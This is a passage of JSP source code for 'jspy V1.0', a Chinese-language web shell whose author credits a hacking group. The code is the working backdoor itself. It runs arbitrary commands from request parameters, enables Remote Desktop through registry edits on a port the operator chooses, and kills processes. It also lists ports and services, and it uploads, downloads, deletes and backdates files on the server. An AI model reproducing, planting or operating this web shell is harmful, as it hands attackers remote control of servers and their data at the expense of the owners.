out.print("<tr><td>JAVA临时目录</td><td>"+System.getProperty("java.io.tmpdir")+"</td></tr>");
out.print("<tr> <td>扩展目录路径</td> <td>"+System.getProperty("java.ext.dirs")+"</td></tr>");
out.print("</table> ");
}
//开启远程终端功能暂时只支持winXP和win2003
public String checkOs(){
return System.getProperty("os.name").toLowerCase();
}
public void popenTerm(JspWriter out) throws Exception{
out.print("<TABLE align='center' width='50%'><TR><TD align='center'>操作系统版本</TD><td>"+checkOs()+"</td>");
out.print("</TR><TR>");
out.print("<form method=post action='?action=W'>");
out.print("<TR><TD ><input type=radio name=terminal checked>win2003开启3389</TD><TD></TD></TR>");
out.print("<TR><TD align='right'>终端端口号</TD><TD><INPUT type=text name=p1 size=10 value=3389></TD><TD><input type=submit value=\"开启终端\"></TD></TR>");
out.print("<TR><TD ><input type=radio name=terminal >winXp</TD><TD></TD></TR>");
out.print("<TD></TD>");
out.print("</form></TR></TABLE>");
}
public void openTrem(JspWriter out,String port1) throws Exception{
int j = Integer.parseInt(port1);
String dtohex = Integer.toHexString(j);
//out.print(hex2003);
String openxpOr2003[] = new String[]{
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f",
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f",
"reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f"
};
if(checkOs().equals("windows xp")){
for(int i=0;i<openxpOr2003.length;i++){
out.print("终端返回信息: "+exeCmd(out,openxpOr2003[i])+"<br>");
}
}
else if(checkOs().equals("windows 2003")){
for(int i=0;i<openxpOr2003.length;i++){
out.print("终端返回信息: "+exeCmd(out,openxpOr2003[i])+"<br>");
}
}
}
//输出端口-进程-服务框架函数
public void pgetTcpUdp(JspWriter out,HttpServletRequest request)throws Exception{
//String nowCom = command;
out.print("<table align=center width=\"80%\" border=\"0\">");
out.print("<tr><td width=\"20%\">端口类型</td><td width=\"30%\">本地IP:端口</td><td width=\"30%\">外部IP:端口</td><td width=\"20%\">端口状态</td></tr>\n");
getSinfo(out,request.getParameter("command"));
out.print("</table>");
}
public void pgetServer(JspWriter out,HttpServletRequest request)throws Exception{
// String nowCom = command;
out.print("<table align=center width=\"80%\" border=\"0\">");
out.print("<tr><td width=\"20%\">服务名称</td></tr>\n");
getSinfo(out,request.getParameter("command"));
out.print("</table>");
}
public void pgetTask(JspWriter out,HttpServletRequest request)throws Exception{
// String nowCom = command;
out.print("<table align=center width=\"80%\" border=\"0\">");
out.print("<tr><td width=\"30%\">进程名称</td><td width=\"30%\">PID号</td><td width=\"30%\">相关服务</td></tr>\n");
getSinfo(out,request.getParameter("command"));
out.print("</table>");
}
//读取端口-进程-服务信息函数
public void getSinfo(JspWriter out,String command) throws Exception{
// File file = _file;
int skipline = 0; //跳过读取行数
try {
Process pro = null;
if(command.equals("netstat")){
pro = Runtime.getRuntime().exec("cmd.exe /c netstat -an");
skipline = 4;
}
else if(command.equals("netstart")){
pro = Runtime.getRuntime().exec("cmd.exe /c net start");
skipline = 2;
}
else if(command.equals("tasklist")){
pro = Runtime.getRuntime().exec("cmd.exe /c tasklist /svc");
skipline = 3;
}
BufferedReader br = new BufferedReader(new InputStreamReader(pro.getInputStream()));
//该for循环读取字节流跳过指定行数
for (int i = 0; i < skipline; i++) {
br.readLine();
}
String buff = "";
while( (buff=br.readLine())!= null){
out.print("<tr>");
if(2!=skipline){//读取端口和进程信息
StringTokenizer st = new StringTokenizer(buff);
while(st.hasMoreElements()){
String Info = st.nextToken();
out.print("<td >"+Info+"</td>");
}
}
else{//读取服务信息
while((buff=br.readLine())!=null){
out.print("<tr><td >"+buff+"</td></tr>");
}
}
out.print("</tr>\n");
}
br.close();
// return buff;
} catch (Exception e) {
// return null;
}
}
//结束进程函数
public void pkillProc(JspWriter out) throws Exception{
out.print("<table width='100%' border='0'>");
out.print("<form id='form1' name='form1' method='post' action='?action=v'>");
out.print("<tr><td colspan='3'>结束进程工具 (孤水绕城提示:该工具比较霸道,使用要慎重。)</td></tr>");
out.print("<tr><td width='12%'>进程PID号</td><td width='28%'><input type='text' name='killpid' /> </td>");
out.print("<td width='60%'><input type='submit' name='Submit' value='结束进程' /></td> </tr>");
out.print("</form></table>");
}
public void killProc(JspWriter out,String Pid) throws Exception{
if(empchk(Pid)){
String exec = exeCmd(out,"taskkill /f /pid "+Pid);
out.print("☆孤水绕城☆友情提示:<br><br>"+exec);
}
}
//注册表操作函数,暂时不提供,期待下一个V1.1版本吧:-)
public void pregedit(JspWriter out) throws Exception{
out.print("<p>☆孤水绕城☆友情提示:<br><br>v1.0版本暂不支持注册表编辑功能,期待下一个V1.1版本吧:-) </p>");
}
public void aboutJspy(JspWriter out) throws Exception{
out.print(" 很久以前我有一个梦想,希望能像戏子一样灵思舞动衣袖飘飞,可是当再次面对繁华落尽的刹那我才发现其实人生如梦是句P话,梦醒后的人生依旧荒芜。无助的我就像一个犯了错的孩子,在爱与痛的边缘一直的堕落。在无尽的等待中期待伤口的愈合以及灵魂的萌芽。我想许久许久以后当尘埃落定的瞬间我希望你能看到我的苍老。wait for jhy......");
out.print("<br><br> 还有半年就要毕业了,需要拿出点东西来纪念我的大学生涯了,花了一个多月的时间jspy V1.0终于写完了,基本的功能都已经实现了,缺少的功能我会在后续的版本中添加,希望大家能够一直关注jspy,多提宝贵意见o(∩_∩)o...。在这里感谢我最最要好的兄弟yizhigu的帮助还有MIAO哥,土豆大叔,simeon,赤龙,花非花,冰的原点,杨过,随风,小浪哥,酷酷,狼,还有我最最尊敬的Lenk大哥以及LST的众兄弟们,希望LST走的长远。。。");
out.print("<br><br><div align=left>MADE by 孤水绕城<br>QQ:540410588</div>");
}
%>
<BODY>
<style type="text/css">
body,td{font-size: 12px;background-color:#000000;color:#00ff00;}
table{T:expression(this.border='0',this.borderColorLight='white',this.borderColorDark='black')}
.ta{T:expression(this.border='1',this.borderColorLight='white',this.borderColorDark='black')}
input,select{font-size: 12px;}
body{margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px}
td{white-space:nowrap}
a{color:white;TEXT-DECORATION:none}
</style>
<STYLE>
.style1{background:beige url(sphere.jpg) no-repeat top center}
.style2{background:ivory url(sphere.jpeg) no-repeat bottom right}
</STYLE>
<%
String Action=request.getParameter("action");
char action;
action=(Action==null?"0":Action).charAt(0);
//action = 'M';
try{
switch(action){
case 'A':aboutJspy(out);break;
case 'E':pExeCmd(out,request);break;
case 'e':exeCmd(out,request.getParameter("cmd"));break;
case 'M': mainMenu(out,webSite_Folder,strAbsPath);break;
case 'L': loginOut(out,nowURI);break;
case 'S':listFolder(out,encodeChange(request.getParameter("FolderPath")));break;
case 'F':listRoot(out);
case 'N':newFolder(out,encodeChange(request.getParameter("FolderPath")));break;
case 'G':pnewFile(out,"MADE BY 孤水绕城\nQQ:540410588",webSite_Folder+"newFile.txt");break;
case 'g':newFile(out,encodeChange(request.getParameter("fileName")),request.getParameter("fileContent").getBytes("ISO-8859-1"),request.getParameter("choice"));break;
case 'H':peditFile(out,request.getParameter("fileName"));break;
case 'I':reName(out,encodeChange(request.getParameter("sFileName")),encodeChange(request.getParameter("FolderPath")));break;
case 'J':delName(out,encodeChange(request.getParameter("Filename")));break;
case 'K':copyName(out,encodeChange(request.getParameter("sFileName")),encodeChange(request.getParameter("FolderPath")));break;
case 'O':downFile(encodeChange(request.getParameter("Filename")),response);return;
case 'P':zip(out,encodeChange(request.getParameter("FolderPath")),encodeChange(request.getParameter("sFileName")));break;
case 'Q':findFile(out,encodeChange(request.getParameter("radiobutton")),encodeChange(request.getParameter("filename")));
case 'q':pfindFile(out,request);break;
case 'R':dateChange(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("year")),encodeChange(request.getParameter("month")),encodeChange(request.getParameter("day")),out);break;
case 'T':uploadFile(out,request,convertPath(webSite_Folder));break;
case 't':pupfile(out,convertPath(webSite_Folder));break;
case 'U':systemInfo(out,request);break;
case 'B':pgetTcpUdp(out,request);
case 'V':pkillProc(out);break;
case 'v':killProc(out,request.getParameter("killpid"));break;
case 'x':pregedit(out);break;
case 'W':openTrem(out,request.getParameter("p1"));break;
case 'w':popenTerm(out);break;
case 'Y':pgetTask(out,request);break;
case 'Z':pgetServer(out,request);break;
default :
//listFolder(out,"D:\\Tomcat 5.0\\webapps\\test");break;
mainForm(out,webSite_Folder);break;
}
}catch(Exception e){
}
%>
<script language="javascript">
function JshowFolder(path){
top.document.address.action.value="S";
top.document.address.FolderPath.value=path;
top.document.address.submit();
}
function checkUrl(){
top.document.address.action.value="S";
top.document.address.submit();
}
function newFolder(Rpath){
var folderName = prompt("请输入你要保存的全路径:",Rpath+"newFolder");
if(confirm("你确定要新建这个目录吗")){
top.document.address.action.value="N";
top.document.address.FolderPath.value=folderName;
top.document.address.submit();
}
else
return;
}
function JsReName(spath,dpath){
var newFolderName = prompt("请输入移动到目标文件全名称",dpath);
if(confirm("你确定要移动到目标文件吗!")){
top.document.address.action.value="I";
top.document.address.FolderPath.value=newFolderName;
top.document.address.sFileName.value=spath;
top.document.address.submit();
}
else{